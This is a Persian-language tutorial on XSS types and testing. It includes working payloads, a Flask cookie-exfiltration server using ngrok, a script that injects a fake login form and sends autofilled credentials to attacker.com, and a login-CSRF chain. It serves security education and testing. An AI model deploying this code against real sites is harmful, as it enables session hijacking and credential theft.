در این مقاله قراره که به تمامی ابعاد آسیب پذیری Cross Site Scripting یا XSS بپردازیم، این پرداخت صرفا به تشریح هسته این آسیب پذیری نیست و تمامی ابعاد آسیب پذیری زیر تیغ جراحی خواهد رفت. از موضوعات کلیدی که تشریح می شود میتوان به انواع روش های رخداد این آسیب پذیری اشاره کرد Non-Persistent (Reflected) – Persistent (or Stored) – DOM-Based XSS – Self-XSS – Mutated XSS (mXSS)، همچنین روش های آزمون (Payload Testing) و موارد پیشرفته تر مانند روش های بهره برداری حرفه ای مانند (XSRF – XSS Worm – XSS Tunneling – XSS Without Arbitrary JavaScript) اشاره کرد، در قدم بعدی روش های مبهم سازی (Obfuscation) کد های بهره برداری را بررسی میکنیم، همچنین روش های دور زدن مکانیزم های دفاعی در مقابل این آسیب پذیری مانند: (Same Origin Policy – Security Content Policy – NoScript Extension – DOM Dangling Markup – Script Gadgets) خواهیم پرداخت.
تعریف آسیب پذیری XSS
آسیب پذیری XSS یا Cross Site Scripting به معنی تزریق Script از طریق وبگاه میباشد. این آسیب پذیری غالبا بر روی زبان هایی مانند JavaScript طراحی می شود اما میتواند شامل دیگر زبان های Front-End نیز باشد، از دیگر ویژگی های این آسیب پذیری این است که دارای پنج مدل رخداد است با نام های:
1. Non-Persistent (Reflected)
2. Persistent (or Stored)
3. DOM-Based XSS
4. Self-XSS
5. Mutated XSS (mXSS)
اولین روش رخداد را میتوان روش واکنشی معنی کرد، دوم روش را مدل ذخیره شده میتواند دانست و سومین روش رخداد، بر بستر Document Object Model میباشد که مربوط به Object های زبان JavaScript میباشد، همچنین در روش چهارم نوع رخداد این آسیب پذیری بر مبنای روش های مهندسی اجتماعی خواهد بود ترکیبی فی ما بین آن دو است، و اما روش آخر یعنی Mutated XSS یا mXSS که به نوعی روش بهره برداری بواسطه جهش در Payload ارسالی از طرف مهاجم است که علامت گذاری های موتور اجرایی در لحظه مرورگر (Just-in-Time Engine) را در خصوص زبان JavaScript به اشتباه می اندازد و همین موضوع میتواند موجب دور زدن برخی فیلترسازی های استفاده شده در ورودی تحت کنترل مهاجم شود.
آسیب پذیری XSS از نوع Non-Persistent (Reflected)
مدل Reflected یا واکنشی در آسیب پذیری XSS یکی از ساده ترین مدل های رخداد این آسیب پذیری است، که در جریان ورودی های تحت کنترل کاربر (User-Controlled) مقادیر کد مخرب (Malicious) در پارامتر آسیب پذیر قرار گرفته و به سمت سرور ارسال میشود، اما موضوعی که اینجا محل توجه قرار گرفته این است که پارامتر آسیب پذیر مقادیر مخرب مهاجم را نه جایی write میکند نه در جایی ذخیره میکند و صرفا در همان صفحه ای که به عنوان Endpoint شناخته میشود بازتاب داده میشود، این بازتاب نیازمند بارگزاری صفحه آسیب پذیر به دست قربانی میباشد و از این روی است که به آن بهتر است گفته شود واکنشی تا بازتابی. اما روش های بهره برداری از این نوع آسیب پذیری یعنی Reflected XSS میتواند متعدد باشد، از جمله این موارد میتوان به دزدیدن Cookie کاربر قربانی، ایجاد یک Hook کد مخرب (BeEF Framework)، ارسال درخواست دانلود یک فایل مخرب، پیاده سازی حمله XSRF یا درخواست جعلی بواسطه XSS و همچنین کمک به پیاده سازی تکنیک تسخیر حساب کاربری یا (Account Takeover)، اشاره کرد، در مثال زیر یک درخواست و یک Payload بر بستر پارامتر آسیب پذیر با متد GET
ارسال شده است.
GET /?input=<script>alert(1)</script> HTTP/2.0 Host: victim.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive
و در پاسخ سرور، مشاهده می کنید که همان ورودی قرار گرفته است:
HTTP/2.0 200 OK content-language: en content-type: application/xml; charset=utf-8 content-encoding: gzip ... This is what you typed: <script>alert(1)</script> ...
این ورودی، بسته به کد سمت سرور، می توانست در بدنه (Body) درخواست و حتی Header ها نیز قرار گیرد. البته در این حالت، آسیب رساندن به قربانی سخت تر است. مثلا در حالتی که پارامتر بدنه درخواست آسیب پذیر باشد، درخواست باید به صورت POST
از طریق یک Form
یا درخواست Ajax ارسال شود. یا در حالتی که Header آسیب پذیر باشد، می توان از راه Web Cache Poisoning از آن بهره برداری شود.
آسیب پذیری XSS از نوع Persistent (Stored)
آسیب پذیری XSS از نوع ذخیره شده یا Stored، زمانی رخ می دهد که ورودی از کاربر بدون ایمن سازی در پایگاه داده سمت سرور ذخیره شود و سپس نمایش داده شود. برای مثال بخش ارسال نظرات، صفحات ویرایش اطلاعات کاربر یا صفحاتی که امکان آپلود فایل را فراهم میکنند پتانسیل رخداد این نوع آسیب پذیری را دارند. در این نوع از XSS برخلاف XSS از نوع واکنشی نیاز به کنش قربانی برای اجرای کد مخرب نیست، این موضوع به مهاجم کمک می کند تا بتواند یک یا مجموعه ای از کاربران را مورد حمله قرار دهد. برای درک بهتر این موضوع به شکل زیر نگاه کنید:
مهاجم کد مخرب خود را در قسمت نظرات زیر یک پست تزریق می کند:
POST /id=post1 HTTP/1.1 Accept: text/html Host: example.com Connection: keep-alive comment='"/><script>alert(1)</script>
پس از ارسال کد مخرب مقدار موجود در پارامتر comment
درون پایگاه داده ذخیره می شود. سپس قربانی صفحه آلوده را باز می کند و پاسخ برگشت داده شده به صورت زیر می باشد.
HTTP/2.0 200 OK content-language: en content-type: application/xml; charset=utf-8 content-encoding: gzip ... This is new Comment: '"/><script>alert(1)</script>
همانطور که در پاسخ بالا مشاهده می کنید مهاجم به طور غیر مستقیم توانست کد مخرب خود را بر روی مرورگر قربانی اجرا کند.
نحوه تست
برای تست XSS Stored باید تمام صفحاتی که از کاربر داده هایی دریافت و ذخیره می کنند بررسی شود به این صورت که چند کد مخرب مختلف XSS همانند کد های مخرب زیر تزریق داده شوند، این کدهای مخرب مبهم سازی شده می باشند.
<iframe src="javascript:alert('XSS')"></iframe>
در این کد مخرب مقدار src
تگ iframe
برابر مفسر :JavaScript
قرار گرفته و در صورتی که کد مخرب بدون مشکل اجرا شود مقدار XSS در alert
نمایش داده می شود.
<sCrIpt>alert('XSS')</ScRipt>
در این کد مخرب از حروف بزرگ و کوچک به صورت تصادفی استفاده شده است که به اصطلاح به آن random case
گفته می شود، از این کد مخرب برای دور زدن Regex هایی که به مقدار <script>
حساس هستند استفاده می شود.
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
در کد مخرب بالا از یک تگ img
استفاده شده که مقدار src
آن برابر x
است این مقدار باعث می شود عکس به مشکل بر بخورد و رویداد (event) onerror
عکس را صدا بزند، درون این رویداد یک alert
قرار دارد و از متد fromCharCode
استفاده شده تا کاراکتر کد هایی که درون این متد قرار گرفته اند را به متن تبدیل کنند و نتیجه این کد باعث باز شدن پنجره alert
با متن XSS می باشد. پس از تزریق باید تمام صفحاتی که احتمال استفاده از اطلاعات ذخیره شده را دارند بررسی کرد در صورتیی که مقدار alert('XSS')
نمایان شد این بدان معناست که کد مخرب تزریق داده شده به درستی اجرا شده است.
آسیب پذیری XSS از نوع Blind
آسیب پذیری Blind XSS یا XSS کورکورانه گونه ای از XSS ذخیره شده میباشد زیرا کد مخرب تزریق داده شده توسط مهاجم به وسیله وب سرور ذخیره میشود با این تفاوت که نقطه اثر تزریق کد مخرب و زمان دقیق اجرای آن به طور مستقیم قابل شناسایی نیست زیرا در بخشی دیگری از برنامه که مهاجم به آن دسترسی ندارد اثر میگذارد. برای درک بهتر فرض کنید مهاجم کد مخربی را درون فرم تماس یا فرم بازخورد آسیب پذیری وارد میکند، به دلیل اینکه این گونه صفحات برای بازدید و بررسی به دسترسی ادمین نیاز دارند، در نتیجه موفقیت آمیز بودن تزریق و زمان اجرای کد مخرب قابل تشخیص نیست. برای تشخیص موفقیت آمیز بودن اینگونه حملات از کد های مخرب به شکلی استفاده میشود که هنگام تاثیرگذاری مهاجم را از موفقیت آمیز بودن حمله باخبر سازد، برای مثال کد مخرب هنگام اجرا یا بازدید ادمین از سایت درخواستی به سمت سرور مهاجم اجرا کند.
برای جستجوی این نوع XSS میتوان کد مخرب را در بخش هایی از سایت مانند صفحات و فرم های تماس با ما، صفحات بازدید از لاگ های سایت، صفحات بازخورد، فیلد های مربوط به نام و نام خانوادگی یا آدرس، یا بعضی از هدر های درخواست HTTP مانند هدر User-Agent
یا Referred/Origin
یا درون Cookie
تزریق داد.
تزریق کد مخرب XSS کورکورانه به چندین روش قابل انجام است:
1.استفاده از Burp Collaborator
سرویس Burp Collaborator یک عامل بر بستر شبکه است که BurpSuite از آن برای کشف آسیب پذیری هایی که نیاز به تعامل با سرویسی خارجی دارند استفاده میکند. این سرویس از دامنه اختصاصی برای درخواست ها استفاده میکند. همانطور که در تصویر زیر میبینید این بخش از طریق منوی Burp
و زیر منوی Burp Collaborator client
قابل دسترسی است.
به نمونه کد مخرب زیر با استفاده از این سرویس توجه کنید:
"><script src="//ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net"></script>
در نتیجه تزریق کد بالا درخواستی همانند تصویر زیر به Burp Collaborator فرستاده میشود که این سرور در پاسخ درخواست ها رشته ای تصادفی برمیگرداند.
2.استفاده از سایت xsshunter.com
این سایت یک ابزار آنلاین برای تولید کد های مخرب XSS کورکورانه و استفاده از سرور اختصاصی میباشد، پس از ثبت نام در این سایت از قسمت XSS Hunter
میتوان به نمونه کد های مخرب دسترسی داشت .
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOURSELECTEDSUBDOMAIN.xss.ht");a.send();</script>
برای مثال پس از تزریق کد مخرب بالا در قسمت آسیب پذیر صفحه، اگر حمله موفقیت آمیز باشد در قسمت XSS Fires
میتوانید درخواست های فرستاده شده به زیر دامنه اختصاصی ای که ساخته اید و از آن در کدهای مخرب استفاده کرده اید را مشاهده کنید.
3.استفاده از سرویس Ngrok
در این روش پس از راه اندازی، Ngrok آدرسی به فرمت زیر در اختیار ما قرار میدهد:
address = http://$NGROK_ID.ngrok.io
مقدار متغیر NGROK_ID$ در Bash برابر یک مقدار تصادفی و منحصر به فرد اختصاص داده شده توسط Ngrok میباشد.
کد مخربی که برای تشخیص XSS Blind استفاده می شود به شکل زیر می باشد:
'\"/><script src="+address+"/script"></script>
پس از تزریق کد بالا، هنگام بازدید قربانی از صفحه قسمت src
تگ script
درخواستی به مسیر script/
در سرویس Ngrok اختصاصی فرستاده میشود. کد زیر یک نمونه وب اپلیکیشن ساده است که توسط Flask روی پورت 1234 به حالت انتظار پیاده سازی شده است، هدف این اسکریپت بدست آوردن Session قربانی میباشد:
from flask import Flask, request from flask_cors import CORS app = Flask(__name__) CORS(app) @app.route('/script') def script(): payload = "var http=new XMLHttpRequest();var url='http://$NGROKID.ngrok.io';var c=document.cookie;var params='session='+c;http.open('POST', url, true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(params);" return payload @app.route('/',methods=['POST']) def main(): f = open('logs.txt','a') f.write("\n"+"-"*10+"\nSession is: "+request.form['session']+'\n'+'-'*10) f.close() return "Ok" if name == "main": app.run(debug=True,port=1234)
همانطور که میبینید، این برنامه دارای دو مسیر /
و script/
میباشد، هنگامی که درخواستی به مسیر script/
فرستاده میشود تابعی با نام ()script
فراخوانی میشود، خروجی این تابع یعنی همان متغیر payload
، شامل کد JavaScript ای میباشد که با استفاده از XMLHttpRequest
درخواست پستی شامل Cookie بازدید کننده صفحه، به مسیر /
در سرویس Ngrok مشخص شده ارسال میکند. قسمت بعدی کد، درخواست هایی با متد پست که به مسیر /
فرستاده میشوند را دریافت میکند و پس از جداسازی قسمت session
در Cookie، آن هارا را در فایلی به نام logs.txt
چاپ میکند. در نتیجه فایل logs.txt
به صورت زیر خواهد بود:
---------- Session is: PHPSESSID=0blb07up19lnehn1bhu40lmad4 ----------
آسیب پذیری XSS از نوع DOM
پیش از تشریح این نوع از XSS باید با Document Object Model آشنا شویم. مرورگر هنگامی که صفحه ای را می خواند یک مدل و ساختار درختی از عناصر HTML تشکیل می دهد، در نتیجه تمام عناصر به عنوان اشیاء (Object) در نظر گرفته می شوند و تمام اشیاء زیر مجموعه شیء Document می باشند، در JavaScript توابعی وجود دارد که می تواند به مقادیر هر شیء (Property) دسترسی داشته باشد که به این مجموعه از توابع Method گفته می شود.
در بعضی مواقع برنامه نویسان از این توابع برای دریافت اطلاعاتی اعم از پارامتر های موجود در URI، مقادیر یک Input و … استفاده می کنند و در صورتی که مقادیر دریافت شده بدون ایمن سازی دوباره در صفحه نمایش داده شوند مهاجم می تواند با تزریق Payload باعث رخداد DOM XSS شود. پیدا کردن این نوع از XSS بسیار ساده می باشد تنها کافیست درون فایل های JavaScript و HTML را بررسی کنیم و به دنبال توابع و ویژگی های DOM که مقداری را از کاربر دریافت می کنند و سپس آن را در صفحه چاپ می کنند بگردیم، در ادامه به تشریخ نمونه هایی از این توابع و ویژگی ها میپردازیم.
ویژگی innerHtml
این ویژگی برای دسترسی و نوشتن محتوا درون عناصر و تگ های HTML استفاده می شود. در صورتی که ورودی این تابع از کاربر بدون ایمن سازی دریافت شود مهاجم می تواند کد مخرب خود را به جای محتوای درون یک عنصر یا تگ HTML قرار دهد به کد آسیب پذیر زیر دقت کنید:
<html> ... <head> ... </head> <div id="test"> </div> <script> var section = document.getElementById('test'); var url_string = window.location.href var url = new URL(url_string); var data = url.searchParams.get("input"); section.innerHtml=data </script> ... </html>
همانطور که در کد آسیب پذیر بالا مشاهده می کنید درون script
یک id
به نام test
با استفاده از متد ()document.getElementById
انتخاب شده و در خط بعد تمام مقدار موجود در آدرس صفحه درون متغیر url_string
ریخته شده و یک Object از URL ساخته شده که ورودی آن url_string
می باشد سپس پارامتر GET
به نام input
دریافت شده و در آخر تمام مقادیر درون input
به جای محتوای تگ div
که پیش تر انتخاب شده بود ریخته می شود. در این شرایط به دلیل آنکه ورودی دریافت شده از کاربر هیچگونه ایمن سازی ندارد مهاجم می تواند با تزریق یک کد مخرب XSS موجب رخداد DOM XSS شود.
متد ()document.write
از این تابع جهت چاپ کردن یک مقدار در صفحه استفاده می شود در صورتی که ورودی این تابع از کاربر بدون ایمن سازی دریافت شود مهاجم می تواند کد مخربی در صفحه تزریق دهد.
<html> <head> ... </head> <div id="test"> </div> <script> var url_string = window.location.href var url = new URL(url_string); var data = url.searchParams.get("name"); document.write(data); </script> ... </html>
در کد بالا همانند مثال قبل مقدار موجود در پارامتر name
بدون هیچ ایمن سازی از کاربر دریافت شده و درون تابع ()document.write
قرار گرفته در نتیجه هر مقداری که کاربر وارد نماید مستقیما درون صفحه چاپ می شود و این مشکل باعث می شود مهاجم بتواند به راحتی کد مخرب XSS در صفحه تزریق دهد و باعث رخداد DOM XSS شود. متد document.writeln
نیز همانند متد document.write
میباشد با این تفاوت که در انتهای عمل نوشتن خط جدیدی اضافه میکند.
ویژگی های document.location و window.location
ویژگی document.location
و window.location
ویژگی های فقط خواندنی میباشند که دسترسی به شی (object) location
که حاوی اطلاعاتی درباره URL صفحه و متد هایی برای تغییر آن URL میباشد ارائه میدهند.در ادامه برخی از این متدها را مشاهده میکنید:
document.location.hostname="example.com"; window.location.hostname="example.com"; document.location.replace("replacedPath/"); document.location.assign("replacedPath/"); window.location.assign("replacedPath/"); window.location.href="example.com"; document.location.hash window.location.hash window.location.search
به کد آسیب پذیر زیر توجه کنید:
<html> <head> ... </head> Language: <select><script> document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> </html>
کد بالا زبان کاربر را با استفاده از document.location.href.substring
از پارامتر default
موجود در URL جداسازی میکند و در کد صفحه از آن استفاده میکند، در نتیجه اگر URL به صورت زیر باشد:
http://example.com/dashboard.html?default=French
کد HTML صفحه به شکل زیر خواهد بود:
<html> <head> ... </head> Select your language: <select> <OPTION value=1>French</OPTION> <OPTION value=2>English</OPTION> </select> </html>
بنابراین اگر مهاجم کد مخربی را به صورت زیر وارد کند، به دلیل اینکه هیچ ایمن سازی صورت نگرفته تزریق XSS موفقیت آمیز خواهد بود.
http://example.com/dashboard.html?default=<script>alert(document.cookie)</script>
<html> <head> ... </head> Select your language: <select> <OPTION value=1><script>alert(document.cookie)</script></OPTION> <OPTION value=2>English</OPTION> </select> </html>
ویژگی document.referrer
ویژگی بالا مقدار هدر referrer
را برمیگرداند.
<html> <head> ... </head> <div id="1">you are here from: </div> <div id="2"></div> <script> var ContentHolder = document.getElementById("2"); ContentHolder.body.innerHTML =document.referrer; </script> </html>
به دلیل اینکه مقدار هدر referrer
قابل تغییر توسط مهاجم میباشد و این مقدار بدون هیچ ایمن سازی در صفحه استفاده شده است امکان رخداد آسیب پذیری وجود دارد. از ویژگی document.domain
نیز برای دریافت دامنه صفحه استفاده میشود.
متد ()window.open
از متد بالا برای باز کردن یک منبع جدید در یک پنجره ی جدید به صورت زیر استفاده میشود:
<html> <head> ... </head> <script> window.open("http://www.example.com/", "Selected Page Name","resizable,scrollbars,status"); </script> </html>
ویژگی outerHTML
با استفاده از ویژگی outerHTML
میتوان به تمام محتوای عنصر یا تگ انتخاب شده به فرمت HTML دسترسی پیدا کرد و یا مقدار آن را تغییر داد. برای مثال به کد زیر توجه کنید:
<html> <head> ... </head> <h1>outerHTML</h1> <script> var x = document.getElementsByTagName("h1")[0]; console.log(x.outerHTML); </script> </html>
خروجی کد بالا، کد <h1>outerHTML</h1>
میباشد.
توابع jQuery که میتوانند باعث رخداد DOM-XSS شوند:
متد ()after
این تابع محتوایی را بعد از عنصر انتخاب شده اضافه میکند.
<html> <head> ... </head> <script> var url_string = window.location.href var url = new URL(url_string); var message = url.searchParams.get("message"); $(document).ready(function(){ $("button").after(message); }); </script> <body> <button>Click me</button> </body> </html>
در کد بالا نباید پیامی که ممکن است حاوی محتوای ناامنی میباشد بدون ایمن سازی به طور مستقیم به عنوان آرگومان ورودی این تابع استفاده کرد. متد ()before
برخلاف تابع ()after
محتوایی را قبل از عنصر انتخاب شده اضافه میکند.
متد ()append
این تابع نیز همانند تابع ()after
محتوایی را بعد از عنصر انتخاب شده اضافه میکند.
<html> <head> ... </head> <script> $(document).ready(function(){ $("p").append( _.template(teamActionsTemplate)({message: message}) ); }); </script> <body> <p>this is paragragh</p> </body> </html>
در مثال بالا نباید این تابع را با آرگومان ورودی ای که ممکن حاوی محتوای نا امنی باشد استفاده کرد. متد ()prepend
نیز برخلاف تابع ()append
محتوایی را قبل از عنصر انتخاب شده اضافه میکند.
متد ()html
این تابع امکان دسترسی یا تنظیم مقادیر درون عنصر انتخاب شده را فراهم میسازد.
<html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script> $("#input").focus(); $("#input").on("blur", function(){ $("#output").html($("#input").val()); }); </script> </head> <body> <form action="/action_page.php"> <label htmlFor="input">enter sth::</label><br> <input type="text" id="input" name="input" value=""><br> <input type="submit" value="Submit"> </form> <p id="output"></p> </body>
مثال بالا به دلیل اینکه مقدار ورودی کاربر را بدون هیچ ایمن سازی در عنصر output
جایگذاری میکند آسیب پذیر میباشد.
این نوع از آسیب پذیری در صورتی پر بار خواهد بود که افراد دیگر نتیجه حمله را مشاهده کنند، برای مثال اگر آسیب پذیری در قسمت نام کاربری یا username
در پنل کاربری شخص وجود داشته باشد، این نام در معرض دید کاربران دیگر سایت قرار میگیرد، در ادامه به تشریح چندین روشی که با استفاده از آنها میتوان Self XSS را به XSS قابل بهره برداری تبدیل کرد، میپردازیم.
اجرا روی حساب های کاربری دارای امتیاز بالا مانند ادمین
اکثر برنامه های تحت وب کاربران خود را براساس سطح دسترسی و مجوز طبقه بندی میکنند. اگر Self XSS بر روی کاربر عادی یک وبسایت پیاده سازی شده باشد، به دلیل اینکه ادمین قابلیت بررسی جزئیات حساب کاربری قربانی را را دارد، او نیز آلوده خواهد شد. اما اگر به هر دلیلی دسترسی به ادمین برای بازدید صفحه آلوده امکان پذیر نباشد، میتوان با راه اندازی سرور اختصاصی Log و استفاده از آن سرور در Payload های طراحی شده، در صورت بازدید دیگر کاربران، از اجرای کد های مخرب باخبر شد. در زیر نمونه ای از این سرور Log طراحی شده را مشاهده میکنید:
<?php $req_dump = htmlspecialchars(print_r($_REQUEST, TRUE), ENT_QUOTES, 'UTF-8'); $headers = apache_request_headers(); $fp = fopen('request.log', 'a'); $req_dump .= " - "; $req_dump .= date("Y-m-d H:i:s"); $req_dump .= "<br>"; foreach ($headers as $header => $value) { fwrite($fp, "$header: $value <br />\n"); } fwrite($fp, "<br />\n"); fwrite($fp, $req_dump); fwrite($fp, "<br />\n"); fclose($fp); echo "success"; ?>
کد بالا در صورت بازدید قربانی ها از کدهای مخرب و اجرای آنها درخواست های زده شده از سمت قربانی را به همراه تاریخ و ساعت دقیق در فایلی به نام request.log
در سرور مهاجم ذخیره میکند. کد مخرب طراحی شده زیر در سرور مهاجم قرار دارد:
var done = false; var stolen = false; function makeForm() { setTimeout(function () { var myElem = document.getElementById("loginmodal"); if (myElem === null) { document.body.innerHTML += '<a style="display:none" >Modal Login</a><div id="loginmodal" style="display:none;"><h1>User Login</h1>' + '<form id="loginform" name="loginform" method="post"><h2 style="color:red">Your session has timed out, ' + 'please re-enter your credentials</h2><label for="username">Username:</label><input type="text" ' + 'name="username" id="username" class="txtfield" tabindex="1"><label for="password">Password:</label>' + '<input type="password" name="password" id="password" class="txtfield" tabindex="2"><div class="center">' + '<input type="submit" name="loginbtn" id="loginbtn" class="flatbtn-blu hidemodal" value="Log In" tabindex="3">' + '</div></form></div>'; XSSImage = new Image; XSSImage.src = "https://attacker.com/log?checkin=true&cookies=" + encodeURIComponent(document.cookie) + "&url=" + window.location.href; } }, 2000); } makeForm(); function defer_again(method) { var myElem = document.getElementById("loginmodal"); if (myElem === null) setTimeout(function () { defer_again(method) }, 50); else { method(); } } defer_again(function stoleCredentials() { var uname = document.getElementById('username').value; var pwd = document.getElementById('password').value; if (uname.length > 4 && pwd.length > 4) { done = true; XSSImage = new Image; XSSImage.src = "https://attacker.com/log?username=" + encodeURIComponent(uname) + "&password=" + encodeURIComponent(pwd) + "&url=" + window.location.href; stolen = true; return false; } if (!stolen) { document.getElementById('username').focus(); setTimeout(function () { stoleCredentials() }, 50); } });
کد بالا هنگام فراخوانی تابع ()makeForm
، از طریق ساخت عکس و ویژگی src
آن، درخواست GET
ای حاوی Cookie قربانی و URL ای که در آن XSS اجرا شده به سرور مهاجم ارسال میکند. سپس درون صفحه آسیب پذیر فرم HTML لاگین نامرئی ای با آیدی loginmodel
تزریق میکند. در تابع defer_again
اسکریپت بعد از مدت زمانی، وجود فرم لاگین ساخته شده در صفحه را بررسی میکند و درصورتی که فرم وجود داشت با فراخوانی تابع stoleCredentials
منتظر میماند تا مرورگر قربانی به صورت خودکار اطلاعات حساس قربانی مانند نام کاربری و رمزعبور را درون فیلد های مربوطه فرم لاگین نامرئی پر کند (Auto-fill saved credentials). در نهایت مقادیر پر شده درون فیلد های username
و password
را استخراج کرده و و این مقادیر را از طریق ساخت عکس و ویژگی src
آن، به سرور مهاجم ارسال میکند.
از طریق آسیب پذیری CSRF
اگر وبسایت به CSRF آسیب پذیر باشد، Self XSS به XSS معمول تبدیل میشود. به این صورت که باید قربانی را متقاعد کرد که از وبسایت مهاجم بازدید کند و وبسایت مهاجم درخواست POST
ای به قصد تغییر نام کاربری قربانی با استفاده از Payload زیر ارسال کند:
"><script src='https://attacker.com/js/stealcreds.js'>
همچنین میتوان از تکنیک خروج و ورود به حساب کاربری با استفاده از CSRF استفاده کرد، به این صورت که با استفاده از XSS (اجرای کد مخرب JavaScript) بدون اطلاع قربانی درخواستی از طرف او مبنی بر خروج از حساب کاربری اش ارسال شود و سپس درخواست دیگری برای ورود به حساب کاربری آلوده شده به Self XSS ارسال شود. به همین صورت میتوان قربانی را به صفحه ی آلوده شده هدایت کرد.
<iframe src=//victim.com/logout.php onload=forms[0].submit()></iframe> <form method=POST action=//victim.com/login.php?returnURL=vulnpage.php> <input name=username value="attacker"> <input name=password value="1234">
فرض کنید لینک مخربی حاوی کد بالا برای قربانی فرستاده میشود و قربانی لینک را باز میکند و کد روی مرورگر او اجرا میشود. کد بالا با استفاده از ویژگی src
تگ iframe
درخواست خروج از حساب کاربری را ارسال میکند و بعد از آن با استفاده از فرمی که حاوی نام کاربری و رمزعبور مهاجم میباشد درخواستی برای ورود به صفحه آلوده شده یعنی صفحه ارسال میکند در نتیجه قربانی از حساب خودش خارج شده و با حساب مهاجم وارد میشود و صفحه آلوده شده به Self XSS را مشاهده میکند.
آسیب پذیری XSS از نوع Mutated
آسیب پذیری XSS جهش یافته (Mutated XSS) زمانی اتفاق میوفتد که مهاجم کدی که به ظاهر امن است تزریق میکند ولی این کد هنگام تجزیه توسط مرورگر بازنویسی میشود و تغییر پیدا میکند. این باعث میشود تا تشخیص و امن سازی این نوع حمله در منطق برنامه سخت شود،
در مثال زیر برای ذخیره چرخش های CPU مرورگر برروی HTML تغییرات داخلی به صورت زیر اعمال میکند:
<!--User Input--> <s class="">hello <b>goodbye</b> <!-- Browser-transformed Output--> <S>hello<B>goodbye</B></S>
مرورگر (در اینجا IE8)، رشته داده شده به عنوان ورودی را قبل از ارسال به موتور طرح بندی به روش های مختلف تغییر میدهد، در مثال بالا ویژگی کلاس خالی حذف شده، اسم تگ ها به حروف بزرگ تغییر داده شده، تگ های باز بسته شده، کد پاکسازی شده و مقادیر Encode شده Decode شده است. این نوع حمله اکثر روش های محافظت در برابر آسیب پذیری XSS در سمت سرور مانند htmlLawed ،Kses و فیلتر های سمت مشتری مانند XSS Auditor، IE XSS filter، سیستم های WAF، IPS و IDS ها را دور میزند. ریشه اصلی رخداد این نوع آسیب پذیری، ویژگی innerHTML میباشد و زمانی اتفاق میوفتد که HTML از حالت امن به حالت نا امن تغییر پیدا کرده و جهش میابد،
ویژگی innerHTML
همانطور که میدانید این ویژگی به ایجاد محتوای عناصر HTML از رشته های قالب بندی شده میپردازد. این ویژگی با پیوست کردن محتوا به DOM دسترسی نوشتنی و با پشت سر هم کردن نود های HTML به شکل رشته، دسترسی خواندنی به آن عناصر را فراهم میکند. دسترسی خواندنی برای ایجاد جهش و تغییر نیاز است در حالی که دسترسی نوشتنی محتوای خطرناک تغییر یافته را به ساختار DOM سند HTML پیوست میکند.
به مثال زیر توجه کنید:
<script type="text/javascript"> var new="New<b>second<\/b>text."; function Change(){ document.all.myPar.innerHTML=new; } </script> <p id="myPar">First text.</p> <a href="javascript:Change()"> Change text above! </a>
وقتی سند HTML برای اولین بار پردازش میشود، تگ p
حاوی متن "First text"
میباشد، وقتی برروی تگ a
کلیک میشود، محتوای تگ p
با رشته ی قالب بندی شده New <b>second</b> text"
جایگزین میشود،
به کد مخرب تزریق شده زیر توجه کنید:
<listing><img src=1 onerror=alert(1)></listing>
بنظر میرسد کد بالا به دلیل HTML Encode که توسط مکانیزم های امن سازی اتفاق افتاده حاوی محتوای خطرناکی نیست. حالا فرض کنید مهاجم این قطعه کد را درون ویژگی innerHTML
تزریق کند و این قطعه کد به صورت زیر درون قطعه کدی دیگر قرار بگیرد:
<listing id=x><img src=1 onerror=alert(1)></listing> <script> alert(document.getElementById('x').innerHTML)</script>
وقتی کد بالا اجرا شود، مرورگر محتوای innerHTML
را میخواند و document.getElementById('x')
را فراخوانی میکند. انتظار میرود نتیجه alert
شده به صورت زیر باشد:
"<img src=1 onerror=alert(1)>"
برای مثال در تصویر زیر Payload تشریح شده بالا، روی مرورگر Firefox 43 آزمایش شده است:
اما مرورگرهای IE8 ,IE9 و IE10 بعد از چندین مرحله Decode کردن محتوای موجود در innerHTML
، نتیجه زیر را برمیگردانند:
"<img src=1 onerror=alert(1)>"
در ادامه به روش های طراحی Payload در این نوع حمله در هفت روش میپردازیم.
1.استفاده از کارکتر Backtick (`)
اگر این کارکتر به عنوان جدا کننده ویژگی (Attributes) تگ ها استفاده شود یا مقادیر ویژگی ها با این کارکتر شروع شوند باعث برهم خوردن Syntax خواهد شد،
<!--Attacker Input--> <img src="test.jpg" alt="``onload=xss()"/> <!-- Browser Output --> <IMG alt=``onload=xss() src="test.jpg">
دسترسی ویژگی innerHTML
به تگی که ویژگی آن مقداری حاوی کارکتر Backtick دارد باعث اجرای کد JavaScript میشود. این روش در مرورگرهای قدیمی قابل انجام است زیرا مرورگرهای جدید این مشکل را حل کرده اند.
2.استفاده از فضای نام XML در عناصر ناشناخته
در مرورگری که از HTML5 پشتیبانی نمیکند احتمال اینکه Tag های ناشناخته ای مانند article
، aside
و غیره … پردازش شود وجود دارد. توسعه دهنده تعیین میکند مرورگر با Tag های ناشناخته چه رفتاری داشته باشد برای مثال اگر از xmlns
به عنوان ویژگی یک عنصر ناشناخته استفاده کنیم و مقدار آن را با داده ای پر کنیم، اگر به ویژگی innerHTML
یکی از عناصر والد این Tag ها دسترسی پیدا شود، رفتار غیر معمولی رخ میدهد به این صورت که مرورگر مقدار وارد شده در ویژگی xmlns
را بدون Double Quotes به عنوان پیشوند Tag های ناشناخته قرار میدهد،
<!--Attacker Input--> <article xmlns="urn:img src=x onerror=xss()//" >123 <!-- Browser Output --> <img src=x onerror=xss()//:article xmlns="urn:img src=x onerror=xss()//" >123</img src=x onerror=xss() //:article>
در نتیجه در مثال بالا دسترسی innerHTML
به تگ های ناشناخته باعث تغییر ناخواسته کد و اجرای JavaScript خواهد شد، این مشکل در مرورگر های جدید حل شده است.
3.استفاده از Backslash (\) در Escape کردن CSS
